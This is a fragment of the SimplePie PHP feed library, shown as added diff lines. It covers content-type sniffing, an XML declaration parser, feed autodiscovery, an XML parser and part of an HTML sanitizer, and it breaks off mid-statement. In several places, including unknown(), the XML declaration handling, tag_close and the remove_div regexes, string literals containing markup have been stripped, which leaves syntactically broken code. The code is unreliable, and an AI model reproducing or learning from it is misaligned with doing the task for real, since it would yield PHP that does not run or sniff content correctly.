gmmktime($match[4], $match[5], $match[6], $month, $match[3], $match[7]); + } + else + { + return false; + } + } + + /** + * Parse dates using strtotime() + * + * @access protected + * @return int Timestamp + */ + function date_strtotime($date) + { + $strtotime = strtotime($date); + if ($strtotime === -1 || $strtotime === false) + { + return false; + } + else + { + return $strtotime; + } + } +} + +/** + * Content-type sniffing + * + * @package SimplePie + */ +class SimplePie_Content_Type_Sniffer +{ + /** + * File object + * + * @var SimplePie_File + * @access private + */ + var $file; + + /** + * Create an instance of the class with the input file + * + * @access public + * @param SimplePie_Content_Type_Sniffer $file Input file + */ + function SimplePie_Content_Type_Sniffer($file) + { + $this->file = $file; + } + + /** + * Get the Content-Type of the specified file + * + * @access public + * @return string Actual Content-Type + */ + function get_type() + { + if (isset($this->file->headers['content-type'])) + { + if (!isset($this->file->headers['content-encoding']) + && ($this->file->headers['content-type'] === 'text/plain' + || $this->file->headers['content-type'] === 'text/plain; charset=ISO-8859-1' + || $this->file->headers['content-type'] === 'text/plain; charset=iso-8859-1')) + { + return $this->text_or_binary(); + } + + if (($pos = strpos($this->file->headers['content-type'], ';')) !== false) + { + $official = substr($this->file->headers['content-type'], 0, $pos); + } + else + { + $official = $this->file->headers['content-type']; + } + $official = strtolower($official); + + if ($official === 'unknown/unknown' + || $official === 'application/unknown') + { + return $this->unknown(); + } + elseif (substr($official, -4) === '+xml' + || $official === 'text/xml' + || $official === 'application/xml') + { + return $official; + } + elseif (substr($official, 0, 6) === 'image/') + { + if ($return = $this->image()) + { + return $return; + } + else + { + return $official; + } + } + elseif ($official === 'text/html') + { + return $this->feed_or_html(); + } + else + { + return $official; + } + } + else + { + return $this->unknown(); + } + } + + /** + * Sniff text or binary + * + * @access private + * @return string Actual Content-Type + */ + function text_or_binary() + { + if (substr($this->file->body, 0, 2) === "\xFE\xFF" + || substr($this->file->body, 0, 2) === "\xFF\xFE" + || substr($this->file->body, 0, 4) === "\x00\x00\xFE\xFF" + || substr($this->file->body, 0, 3) === "\xEF\xBB\xBF") + { + return 'text/plain'; + } + elseif (preg_match('/[\x00-\x08\x0E-\x1A\x1C-\x1F]/', $this->file->body)) + { + return 'application/octect-stream'; + } + else + { + return 'text/plain'; + } + } + + /** + * Sniff unknown + * + * @access private + * @return string Actual Content-Type + */ + function unknown() + { + $ws = strspn($this->file->body, "\x09\x0A\x0B\x0C\x0D\x20"); + if (strtolower(substr($this->file->body, $ws, 14)) === 'file->body, $ws, 5)) === 'file->body, $ws, 7)) === 'file->body, 0, 5) === '%PDF-') + { + return 'application/pdf'; + } + elseif (substr($this->file->body, 0, 11) === '%!PS-Adobe-') + { + return 'application/postscript'; + } + elseif (substr($this->file->body, 0, 6) === 'GIF87a' + || substr($this->file->body, 0, 6) === 'GIF89a') + { + return 'image/gif'; + } + elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A") + { + return 'image/png'; + } + elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF") + { + return 'image/jpeg'; + } + elseif (substr($this->file->body, 0, 2) === "\x42\x4D") + { + return 'image/bmp'; + } + else + { + return $this->text_or_binary(); + } + } + + /** + * Sniff images + * + * @access private + * @return string Actual Content-Type + */ + function image() + { + if (substr($this->file->body, 0, 6) === 'GIF87a' + || substr($this->file->body, 0, 6) === 'GIF89a') + { + return 'image/gif'; + } + elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A") + { + return 'image/png'; + } + elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF") + { + return 'image/jpeg'; + } + elseif (substr($this->file->body, 0, 2) === "\x42\x4D") + { + return 'image/bmp'; + } + else + { + return false; + } + } + + /** + * Sniff HTML + * + * @access private + * @return string Actual Content-Type + */ + function feed_or_html() + { + $len = strlen($this->file->body); + $pos = strspn($this->file->body, "\x09\x0A\x0D\x20"); + + while ($pos < $len) + { + switch ($this->file->body[$pos]) + { + case "\x09": + case "\x0A": + case "\x0D": + case "\x20": + $pos += strspn($this->file->body, "\x09\x0A\x0D\x20", $pos); + continue 2; + + case '<': + $pos++; + break; + + default: + return 'text/html'; + } + + if (substr($this->file->body, $pos, 3) === '!--') + { + $pos += 3; + if ($pos < $len && ($pos = strpos($this->file->body, '-->', $pos)) !== false) + { + $pos += 3; + } + else + { + return 'text/html'; + } + } + elseif (substr($this->file->body, $pos, 1) === '!') + { + if ($pos < $len && ($pos = strpos($this->file->body, '>', $pos)) !== false) + { + $pos++; + } + else + { + return 'text/html'; + } + } + elseif (substr($this->file->body, $pos, 1) === '?') + { + if ($pos < $len && ($pos = strpos($this->file->body, '?>', $pos)) !== false) + { + $pos += 2; + } + else + { + return 'text/html'; + } + } + elseif (substr($this->file->body, $pos, 3) === 'rss' + || substr($this->file->body, $pos, 7) === 'rdf:RDF') + { + return 'application/rss+xml'; + } + elseif (substr($this->file->body, $pos, 4) === 'feed') + { + return 'application/atom+xml'; + } + else + { + return 'text/html'; + } + } + + return 'text/html'; + } +} + +/** + * Parses the XML Declaration + * + * @package SimplePie + */ +class SimplePie_XML_Declaration_Parser +{ + /** + * XML Version + * + * @access public + * @var string + */ + var $version = '1.0'; + + /** + * Encoding + * + * @access public + * @var string + */ + var $encoding = 'UTF-8'; + + /** + * Standalone + * + * @access public + * @var bool + */ + var $standalone = false; + + /** + * Current state of the state machine + * + * @access private + * @var string + */ + var $state = 'before_version_name'; + + /** + * Input data + * + * @access private + * @var string + */ + var $data = ''; + + /** + * Input data length (to avoid calling strlen() everytime this is needed) + * + * @access private + * @var int + */ + var $data_length = 0; + + /** + * Current position of the pointer + * + * @var int + * @access private + */ + var $position = 0; + + /** + * Create an instance of the class with the input data + * + * @access public + * @param string $data Input data + */ + function SimplePie_XML_Declaration_Parser($data) + { + $this->data = $data; + $this->data_length = strlen($this->data); + } + + /** + * Parse the input data + * + * @access public + * @return bool true on success, false on failure + */ + function parse() + { + while ($this->state && $this->state !== 'emit' && $this->has_data()) + { + $state = $this->state; + $this->$state(); + } + $this->data = ''; + if ($this->state === 'emit') + { + return true; + } + else + { + $this->version = ''; + $this->encoding = ''; + $this->standalone = ''; + return false; + } + } + + /** + * Check whether there is data beyond the pointer + * + * @access private + * @return bool true if there is further data, false if not + */ + function has_data() + { + return (bool) ($this->position < $this->data_length); + } + + /** + * Advance past any whitespace + * + * @return int Number of whitespace characters passed + */ + function skip_whitespace() + { + $whitespace = strspn($this->data, "\x09\x0A\x0D\x20", $this->position); + $this->position += $whitespace; + return $whitespace; + } + + /** + * Read value + */ + function get_value() + { + $quote = substr($this->data, $this->position, 1); + if ($quote === '"' || $quote === "'") + { + $this->position++; + $len = strcspn($this->data, $quote, $this->position); + if ($this->has_data()) + { + $value = substr($this->data, $this->position, $len); + $this->position += $len + 1; + return $value; + } + } + return false; + } + + function before_version_name() + { + if ($this->skip_whitespace()) + { + $this->state = 'version_name'; + } + else + { + $this->state = false; + } + } + + function version_name() + { + if (substr($this->data, $this->position, 7) === 'version') + { + $this->position += 7; + $this->skip_whitespace(); + $this->state = 'version_equals'; + } + else + { + $this->state = false; + } + } + + function version_equals() + { + if (substr($this->data, $this->position, 1) === '=') + { + $this->position++; + $this->skip_whitespace(); + $this->state = 'version_value'; + } + else + { + $this->state = false; + } + } + + function version_value() + { + if ($this->version = $this->get_value()) + { + $this->skip_whitespace(); + if ($this->has_data()) + { + $this->state = 'encoding_name'; + } + else + { + $this->state = 'emit'; + } + } + else + { + $this->state = 'standalone_name'; + } + } + + function encoding_name() + { + if (substr($this->data, $this->position, 8) === 'encoding') + { + $this->position += 8; + $this->skip_whitespace(); + $this->state = 'encoding_equals'; + } + else + { + $this->state = false; + } + } + + function encoding_equals() + { + if (substr($this->data, $this->position, 1) === '=') + { + $this->position++; + $this->skip_whitespace(); + $this->state = 'encoding_value'; + } + else + { + $this->state = false; + } + } + + function encoding_value() + { + if ($this->encoding = $this->get_value()) + { + $this->skip_whitespace(); + if ($this->has_data()) + { + $this->state = 'standalone_name'; + } + else + { + $this->state = 'emit'; + } + } + else + { + $this->state = false; + } + } + + function standalone_name() + { + if (substr($this->data, $this->position, 10) === 'standalone') + { + $this->position += 10; + $this->skip_whitespace(); + $this->state = 'standalone_equals'; + } + else + { + $this->state = false; + } + } + + function standalone_equals() + { + if (substr($this->data, $this->position, 1) === '=') + { + $this->position++; + $this->skip_whitespace(); + $this->state = 'standalone_value'; + } + else + { + $this->state = false; + } + } + + function standalone_value() + { + if ($standalone = $this->get_value()) + { + switch ($standalone) + { + case 'yes': + $this->standalone = true; + break; + + case 'no': + $this->standalone = false; + break; + + default: + $this->state = false; + return; + } + + $this->skip_whitespace(); + if ($this->has_data()) + { + $this->state = false; + } + else + { + $this->state = 'emit'; + } + } + else + { + $this->state = false; + } + } +} + +class SimplePie_Locator +{ + var $useragent; + var $timeout; + var $file; + var $local = array(); + var $elsewhere = array(); + var $file_class = 'SimplePie_File'; + var $cached_entities = array(); + var $http_base; + var $base; + var $base_location = 0; + var $checked_feeds = 0; + var $max_checked_feeds = 10; + var $content_type_sniffer_class = 'SimplePie_Content_Type_Sniffer'; + + function SimplePie_Locator(&$file, $timeout = 10, $useragent = null, $file_class = 'SimplePie_File', $max_checked_feeds = 10, $content_type_sniffer_class = 'SimplePie_Content_Type_Sniffer') + { + $this->file =& $file; + $this->file_class = $file_class; + $this->useragent = $useragent; + $this->timeout = $timeout; + $this->max_checked_feeds = $max_checked_feeds; + $this->content_type_sniffer_class = $content_type_sniffer_class; + } + + function find($type = SIMPLEPIE_LOCATOR_ALL, &$working) + { + if ($this->is_feed($this->file)) + { + return $this->file; + } + + if ($this->file->method & SIMPLEPIE_FILE_SOURCE_REMOTE) + { + $sniffer =& new $this->content_type_sniffer_class($this->file); + if ($sniffer->get_type() !== 'text/html') + { + return null; + } + } + + if ($type & ~SIMPLEPIE_LOCATOR_NONE) + { + $this->get_base(); + } + + if ($type & SIMPLEPIE_LOCATOR_AUTODISCOVERY && $working = $this->autodiscovery()) + { + return $working[0]; + } + + if ($type & (SIMPLEPIE_LOCATOR_LOCAL_EXTENSION | SIMPLEPIE_LOCATOR_LOCAL_BODY | SIMPLEPIE_LOCATOR_REMOTE_EXTENSION | SIMPLEPIE_LOCATOR_REMOTE_BODY) && $this->get_links()) + { + if ($type & SIMPLEPIE_LOCATOR_LOCAL_EXTENSION && $working = $this->extension($this->local)) + { + return $working; + } + + if ($type & SIMPLEPIE_LOCATOR_LOCAL_BODY && $working = $this->body($this->local)) + { + return $working; + } + + if ($type & SIMPLEPIE_LOCATOR_REMOTE_EXTENSION && $working = $this->extension($this->elsewhere)) + { + return $working; + } + + if ($type & SIMPLEPIE_LOCATOR_REMOTE_BODY && $working = $this->body($this->elsewhere)) + { + return $working; + } + } + return null; + } + + function is_feed(&$file) + { + if ($file->method & SIMPLEPIE_FILE_SOURCE_REMOTE) + { + $sniffer =& new $this->content_type_sniffer_class($file); + $sniffed = $sniffer->get_type(); + if (in_array($sniffed, array('application/rss+xml', 'application/rdf+xml', 'text/rdf', 'application/atom+xml', 'text/xml', 'application/xml'))) + { + return true; + } + else + { + return false; + } + } + elseif ($file->method & SIMPLEPIE_FILE_SOURCE_LOCAL) + { + return true; + } + else + { + return false; + } + } + + function get_base() + { + $this->http_base = $this->file->url; + $this->base = $this->http_base; + $elements = SimplePie_Misc::get_element('base', $this->file->body); + foreach ($elements as $element) + { + if ($element['attribs']['href']['data'] !== '') + { + $this->base = SimplePie_Misc::absolutize_url(trim($element['attribs']['href']['data']), $this->http_base); + $this->base_location = $element['offset']; + break; + } + } + } + + function autodiscovery() + { + $links = array_merge(SimplePie_Misc::get_element('link', $this->file->body), SimplePie_Misc::get_element('a', $this->file->body), SimplePie_Misc::get_element('area', $this->file->body)); + $done = array(); + $feeds = array(); + foreach ($links as $link) + { + if ($this->checked_feeds === $this->max_checked_feeds) + { + break; + } + if (isset($link['attribs']['href']['data']) && isset($link['attribs']['rel']['data'])) + { + $rel = array_unique(SimplePie_Misc::space_seperated_tokens(strtolower($link['attribs']['rel']['data']))); + + if ($this->base_location < $link['offset']) + { + $href = SimplePie_Misc::absolutize_url(trim($link['attribs']['href']['data']), $this->base); + } + else + { + $href = SimplePie_Misc::absolutize_url(trim($link['attribs']['href']['data']), $this->http_base); + } + + if (!in_array($href, $done) && in_array('feed', $rel) || (in_array('alternate', $rel) && !empty($link['attribs']['type']['data']) && in_array(strtolower(SimplePie_Misc::parse_mime($link['attribs']['type']['data'])), array('application/rss+xml', 'application/atom+xml'))) && !isset($feeds[$href])) + { + $this->checked_feeds++; + $feed =& new $this->file_class($href, $this->timeout, 5, null, $this->useragent); + if ($feed->success && ($feed->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed)) + { + $feeds[$href] = $feed; + } + } + $done[] = $href; + } + } + + if (!empty($feeds)) + { + return array_values($feeds); + } + else { + return null; + } + } + + function get_links() + { + $links = SimplePie_Misc::get_element('a', $this->file->body); + foreach ($links as $link) + { + if (isset($link['attribs']['href']['data'])) + { + $href = trim($link['attribs']['href']['data']); + $parsed = SimplePie_Misc::parse_url($href); + if ($parsed['scheme'] === '' || preg_match('/^(http(s)|feed)?$/i', $parsed['scheme'])) + { + if ($this->base_location < $link['offset']) + { + $href = SimplePie_Misc::absolutize_url(trim($link['attribs']['href']['data']), $this->base); + } + else + { + $href = SimplePie_Misc::absolutize_url(trim($link['attribs']['href']['data']), $this->http_base); + } + + $current = SimplePie_Misc::parse_url($this->file->url); + + if ($parsed['authority'] === '' || $parsed['authority'] === $current['authority']) + { + $this->local[] = $href; + } + else + { + $this->elsewhere[] = $href; + } + } + } + } + $this->local = array_unique($this->local); + $this->elsewhere = array_unique($this->elsewhere); + if (!empty($this->local) || !empty($this->elsewhere)) + { + return true; + } + return null; + } + + function extension(&$array) + { + foreach ($array as $key => $value) + { + if ($this->checked_feeds === $this->max_checked_feeds) + { + break; + } + if (in_array(strtolower(strrchr($value, '.')), array('.rss', '.rdf', '.atom', '.xml'))) + { + $this->checked_feeds++; + $feed =& new $this->file_class($value, $this->timeout, 5, null, $this->useragent); + if ($feed->success && ($feed->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed)) + { + return $feed; + } + else + { + unset($array[$key]); + } + } + } + return null; + } + + function body(&$array) + { + foreach ($array as $key => $value) + { + if ($this->checked_feeds === $this->max_checked_feeds) + { + break; + } + if (preg_match('/(rss|rdf|atom|xml)/i', $value)) + { + $this->checked_feeds++; + $feed =& new $this->file_class($value, $this->timeout, 5, null, $this->useragent); + if ($feed->success && ($feed->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed)) + { + return $feed; + } + else + { + unset($array[$key]); + } + } + } + return null; + } +} + +class SimplePie_Parser +{ + var $error_code; + var $error_string; + var $current_line; + var $current_column; + var $current_byte; + var $separator = ' '; + var $namespace = array(''); + var $element = array(''); + var $xml_base = array(''); + var $xml_base_explicit = array(false); + var $xml_lang = array(''); + var $data = array(); + var $datas = array(array()); + var $current_xhtml_construct = -1; + var $encoding; + + function parse(&$data, $encoding) + { + // Use UTF-8 if we get passed US-ASCII, as every US-ASCII character is a UTF-8 character + if (strtoupper($encoding) === 'US-ASCII') + { + $this->encoding = 'UTF-8'; + } + else + { + $this->encoding = $encoding; + } + + // Strip BOM: + // UTF-32 Big Endian BOM + if (substr($data, 0, 4) === "\x00\x00\xFE\xFF") + { + $data = substr($data, 4); + } + // UTF-32 Little Endian BOM + elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00") + { + $data = substr($data, 4); + } + // UTF-16 Big Endian BOM + elseif (substr($data, 0, 2) === "\xFE\xFF") + { + $data = substr($data, 2); + } + // UTF-16 Little Endian BOM + elseif (substr($data, 0, 2) === "\xFF\xFE") + { + $data = substr($data, 2); + } + // UTF-8 BOM + elseif (substr($data, 0, 3) === "\xEF\xBB\xBF") + { + $data = substr($data, 3); + } + + if (substr($data, 0, 5) === '')) !== false) + { + $declaration =& new SimplePie_XML_Declaration_Parser(substr($data, 5, $pos - 5)); + if ($declaration->parse()) + { + $data = substr($data, $pos + 2); + $data = 'version . '" encoding="' . $encoding . '" standalone="' . (($declaration->standalone) ? 'yes' : 'no') . '"?>' . $data; + } + else + { + $this->error_string = 'SimplePie bug! Please report this!'; + return false; + } + } + + $return = true; + + static $xml_is_sane = null; + if ($xml_is_sane === null) + { + $parser_check = xml_parser_create(); + xml_parse_into_struct($parser_check, '&', $values); + xml_parser_free($parser_check); + $xml_is_sane = isset($values[0]['value']); + } + + // Create the parser + if ($xml_is_sane) + { + $xml = xml_parser_create_ns($this->encoding, $this->separator); + xml_parser_set_option($xml, XML_OPTION_SKIP_WHITE, 1); + xml_parser_set_option($xml, XML_OPTION_CASE_FOLDING, 0); + xml_set_object($xml, $this); + xml_set_character_data_handler($xml, 'cdata'); + xml_set_element_handler($xml, 'tag_open', 'tag_close'); + + // Parse! + if (!xml_parse($xml, $data, true)) + { + $this->error_code = xml_get_error_code($xml); + $this->error_string = xml_error_string($this->error_code); + $return = false; + } + $this->current_line = xml_get_current_line_number($xml); + $this->current_column = xml_get_current_column_number($xml); + $this->current_byte = xml_get_current_byte_index($xml); + xml_parser_free($xml); + return $return; + } + else + { + libxml_clear_errors(); + $xml =& new XMLReader(); + $xml->xml($data); + while (@$xml->read()) + { + switch ($xml->nodeType) + { + + case constant('XMLReader::END_ELEMENT'): + if ($xml->namespaceURI !== '') + { + $tagName = "{$xml->namespaceURI}{$this->separator}{$xml->localName}"; + } + else + { + $tagName = $xml->localName; + } + $this->tag_close(null, $tagName); + break; + case constant('XMLReader::ELEMENT'): + $empty = $xml->isEmptyElement; + if ($xml->namespaceURI !== '') + { + $tagName = "{$xml->namespaceURI}{$this->separator}{$xml->localName}"; + } + else + { + $tagName = $xml->localName; + } + $attributes = array(); + while ($xml->moveToNextAttribute()) + { + if ($xml->namespaceURI !== '') + { + $attrName = "{$xml->namespaceURI}{$this->separator}{$xml->localName}"; + } + else + { + $attrName = $xml->localName; + } + $attributes[$attrName] = $xml->value; + } + $this->tag_open(null, $tagName, $attributes); + if ($empty) + { + $this->tag_close(null, $tagName); + } + break; + case constant('XMLReader::TEXT'): + + case constant('XMLReader::CDATA'): + $this->cdata(null, $xml->value); + break; + } + } + if ($error = libxml_get_last_error()) + { + $this->error_code = $error->code; + $this->error_string = $error->message; + $this->current_line = $error->line; + $this->current_column = $error->column; + return false; + } + else + { + return true; + } + } + } + + function get_error_code() + { + return $this->error_code; + } + + function get_error_string() + { + return $this->error_string; + } + + function get_current_line() + { + return $this->current_line; + } + + function get_current_column() + { + return $this->current_column; + } + + function get_current_byte() + { + return $this->current_byte; + } + + function get_data() + { + return $this->data; + } + + function tag_open($parser, $tag, $attributes) + { + list($this->namespace[], $this->element[]) = $this->split_ns($tag); + + $attribs = array(); + foreach ($attributes as $name => $value) + { + list($attrib_namespace, $attribute) = $this->split_ns($name); + $attribs[$attrib_namespace][$attribute] = $value; + } + + if (isset($attribs[SIMPLEPIE_NAMESPACE_XML]['base'])) + { + $this->xml_base[] = SimplePie_Misc::absolutize_url($attribs[SIMPLEPIE_NAMESPACE_XML]['base'], end($this->xml_base)); + $this->xml_base_explicit[] = true; + } + else + { + $this->xml_base[] = end($this->xml_base); + $this->xml_base_explicit[] = end($this->xml_base_explicit); + } + + if (isset($attribs[SIMPLEPIE_NAMESPACE_XML]['lang'])) + { + $this->xml_lang[] = $attribs[SIMPLEPIE_NAMESPACE_XML]['lang']; + } + else + { + $this->xml_lang[] = end($this->xml_lang); + } + + if ($this->current_xhtml_construct >= 0) + { + $this->current_xhtml_construct++; + if (end($this->namespace) === SIMPLEPIE_NAMESPACE_XHTML) + { + $this->data['data'] .= '<' . end($this->element); + if (isset($attribs[''])) + { + foreach ($attribs[''] as $name => $value) + { + $this->data['data'] .= ' ' . $name . '="' . htmlspecialchars($value, ENT_COMPAT, $this->encoding) . '"'; + } + } + $this->data['data'] .= '>'; + } + } + else + { + $this->datas[] =& $this->data; + $this->data =& $this->data['child'][end($this->namespace)][end($this->element)][]; + $this->data = array('data' => '', 'attribs' => $attribs, 'xml_base' => end($this->xml_base), 'xml_base_explicit' => end($this->xml_base_explicit), 'xml_lang' => end($this->xml_lang)); + if ((end($this->namespace) === SIMPLEPIE_NAMESPACE_ATOM_03 && in_array(end($this->element), array('title', 'tagline', 'copyright', 'info', 'summary', 'content')) && isset($attribs['']['mode']) && $attribs['']['mode'] === 'xml') + || (end($this->namespace) === SIMPLEPIE_NAMESPACE_ATOM_10 && in_array(end($this->element), array('rights', 'subtitle', 'summary', 'info', 'title', 'content')) && isset($attribs['']['type']) && $attribs['']['type'] === 'xhtml')) + { + $this->current_xhtml_construct = 0; + } + } + } + + function cdata($parser, $cdata) + { + if ($this->current_xhtml_construct >= 0) + { + $this->data['data'] .= htmlspecialchars($cdata, ENT_QUOTES, $this->encoding); + } + else + { + $this->data['data'] .= $cdata; + } + } + + function tag_close($parser, $tag) + { + if ($this->current_xhtml_construct >= 0) + { + $this->current_xhtml_construct--; + if (end($this->namespace) === SIMPLEPIE_NAMESPACE_XHTML && !in_array(end($this->element), array('area', 'base', 'basefont', 'br', 'col', 'frame', 'hr', 'img', 'input', 'isindex', 'link', 'meta', 'param'))) + { + $this->data['data'] .= 'element) . '>'; + } + } + if ($this->current_xhtml_construct === -1) + { + $this->data =& $this->datas[count($this->datas) - 1]; + array_pop($this->datas); + } + + array_pop($this->element); + array_pop($this->namespace); + array_pop($this->xml_base); + array_pop($this->xml_base_explicit); + array_pop($this->xml_lang); + } + + function split_ns($string) + { + static $cache = array(); + if (!isset($cache[$string])) + { + if ($pos = strpos($string, $this->separator)) + { + static $separator_length; + if (!$separator_length) + { + $separator_length = strlen($this->separator); + } + $namespace = substr($string, 0, $pos); + $local_name = substr($string, $pos + $separator_length); + if (strtolower($namespace) === SIMPLEPIE_NAMESPACE_ITUNES) + { + $namespace = SIMPLEPIE_NAMESPACE_ITUNES; + } + + // Normalize the Media RSS namespaces + if ($namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG) + { + $namespace = SIMPLEPIE_NAMESPACE_MEDIARSS; + } + $cache[$string] = array($namespace, $local_name); + } + else + { + $cache[$string] = array('', $string); + } + } + return $cache[$string]; + } +} + +/** + * @todo Move to using an actual HTML parser (this will allow tags to be properly stripped, and to switch between HTML and XHTML), this will also make it easier to shorten a string while preserving HTML tags + */ +class SimplePie_Sanitize +{ + // Private vars + var $base; + + // Options + var $remove_div = true; + var $image_handler = ''; + var $strip_htmltags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'); + var $encode_instead_of_strip = false; + var $strip_attributes = array('bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'); + var $strip_comments = false; + var $output_encoding = 'UTF-8'; + var $enable_cache = true; + var $cache_location = './cache'; + var $cache_name_function = 'md5'; + var $cache_class = 'SimplePie_Cache'; + var $file_class = 'SimplePie_File'; + var $timeout = 10; + var $useragent = ''; + var $force_fsockopen = false; + + var $replace_url_attributes = array( + 'a' => 'href', + 'area' => 'href', + 'blockquote' => 'cite', + 'del' => 'cite', + 'form' => 'action', + 'img' => array('longdesc', 'src'), + 'input' => 'src', + 'ins' => 'cite', + 'q' => 'cite' + ); + + function remove_div($enable = true) + { + $this->remove_div = (bool) $enable; + } + + function set_image_handler($page = false) + { + if ($page) + { + $this->image_handler = (string) $page; + } + else + { + $this->image_handler = false; + } + } + + function pass_cache_data($enable_cache = true, $cache_location = './cache', $cache_name_function = 'md5', $cache_class = 'SimplePie_Cache') + { + if (isset($enable_cache)) + { + $this->enable_cache = (bool) $enable_cache; + } + + if ($cache_location) + { + $this->cache_location = (string) $cache_location; + } + + if ($cache_name_function) + { + $this->cache_name_function = (string) $cache_name_function; + } + + if ($cache_class) + { + $this->cache_class = (string) $cache_class; + } + } + + function pass_file_data($file_class = 'SimplePie_File', $timeout = 10, $useragent = '', $force_fsockopen = false) + { + if ($file_class) + { + $this->file_class = (string) $file_class; + } + + if ($timeout) + { + $this->timeout = (string) $timeout; + } + + if ($useragent) + { + $this->useragent = (string) $useragent; + } + + if ($force_fsockopen) + { + $this->force_fsockopen = (string) $force_fsockopen; + } + } + + function strip_htmltags($tags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style')) + { + if ($tags) + { + if (is_array($tags)) + { + $this->strip_htmltags = $tags; + } + else + { + $this->strip_htmltags = explode(',', $tags); + } + } + else + { + $this->strip_htmltags = false; + } + } + + function encode_instead_of_strip($encode = false) + { + $this->encode_instead_of_strip = (bool) $encode; + } + + function strip_attributes($attribs = array('bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc')) + { + if ($attribs) + { + if (is_array($attribs)) + { + $this->strip_attributes = $attribs; + } + else + { + $this->strip_attributes = explode(',', $attribs); + } + } + else + { + $this->strip_attributes = false; + } + } + + function strip_comments($strip = false) + { + $this->strip_comments = (bool) $strip; + } + + function set_output_encoding($encoding = 'UTF-8') + { + $this->output_encoding = (string) $encoding; + } + + /** + * Set element/attribute key/value pairs of HTML attributes + * containing URLs that need to be resolved relative to the feed + * + * @access public + * @since 1.0 + * @param array $element_attribute Element/attribute key/value pairs + */ + function set_url_replacements($element_attribute = array('a' => 'href', 'area' => 'href', 'blockquote' => 'cite', 'del' => 'cite', 'form' => 'action', 'img' => array('longdesc', 'src'), 'input' => 'src', 'ins' => 'cite', 'q' => 'cite')) + { + $this->replace_url_attributes = (array) $element_attribute; + } + + function sanitize($data, $type, $base = '') + { + $data = trim($data); + if ($data !== '' || $type & SIMPLEPIE_CONSTRUCT_IRI) + { + if ($type & SIMPLEPIE_CONSTRUCT_MAYBE_HTML) + { + if (preg_match('/(&(#(x[0-9a-fA-F]+|[0-9]+)|[a-zA-Z0-9]+)|<\/[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*' . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . '>)/', $data)) + { + $type |= SIMPLEPIE_CONSTRUCT_HTML; + } + else + { + $type |= SIMPLEPIE_CONSTRUCT_TEXT; + } + } + + if ($type & SIMPLEPIE_CONSTRUCT_BASE64) + { + $data = base64_decode($data); + } + + if ($type & SIMPLEPIE_CONSTRUCT_XHTML) + { + if ($this->remove_div) + { + $data = preg_replace('/^/', '', $data); + $data = preg_replace('/<\/div>$/', '', $data); + } + else + { + $data = preg_replace('/^/', '
    ', $data); + } + } + + if ($type & (SIMPLEPIE_CONSTRUCT_HTML | SIMPLEPIE_CONSTRUCT_XHTML)) + { + // Strip comments + if ($this->strip_comments) + { + $data = SimplePie_Misc::strip_comments($data); + } + + // Strip out HTML tags and attributes that might cause various security problems. + // Based on recommendations by Mark Pilgrim at: + // http://diveintomark.org/archives/2003/06/12/how_to_consume_rss_safely + if ($this->strip_htmltags) + { + foreach ($this->strip_htmltags as $tag) + { + $pcre = "/<($tag)" . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . "(>(.*)<\/$tag" . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . '>|(\/)?>)/siU'; + while (preg_match($pcre, $data)) + { + $data = preg_replace_callback($pcre, array(&$this, 'do_strip_htmltags'), $data); + } + } + } + + if ($this->strip_attributes) + { + foreach ($this->strip_attributes as $attrib) + { + $data = preg_replace('/(<[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*)' . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . trim($attrib) . '(?:\s*=\s*(?:"(?:[^"]*)"|\'(?:[^\']*)\'|(?:[^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?' . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . '>/', '\1\2\3>', $data); + } + } + + // Replace relative URLs + $this->base = $base; + foreach ($this->replace_url_attributes as $element => $attributes) + { + $data = $this->replace_urls($data, $element, $attributes); + } + + // If image handling (caching, etc.) is enabled, cache and rewrite all the image tags. + if (isset($this->image_handler) && ((string) $this->image_handler) !== '' && $this->enable_cache) + { + $images = SimplePie_Misc::get_element('img', $data); + foreach ($images as $img) + { + if (isset($img['attribs']['src']['data'])) + { + $image_url = call_user_func($this->cache_name_function, $img['attribs']['src']['data']); + $cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, $image_url, 'spi'); + + if ($cache->load()) + { + $img['attribs']['src']['data'] = $this->image_handler . $image_url; + $data = str_replace($img['full'], SimplePie_Misc::element_implode($img), $data); + } + else + { + $file =& new $this->file_class($img['attribs']['src']['data'], $this->timeout, 5, array('X-FORWARDED-FOR' => $_SERVER['REMOTE_ADDR']), $this->useragent, $this->force_fsockopen); + $headers = $file->headers; + + if ($file->success && ($file->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($file->status_code === 200 || $file->status_code > 206 && $file->status_code < 300))) + { + if ($cache->save(array('headers' => $file->headers, 'body' => $file->body))) + { + $img['attribs']['src']['data'] = $this->image_handler . $image_url; + $data = 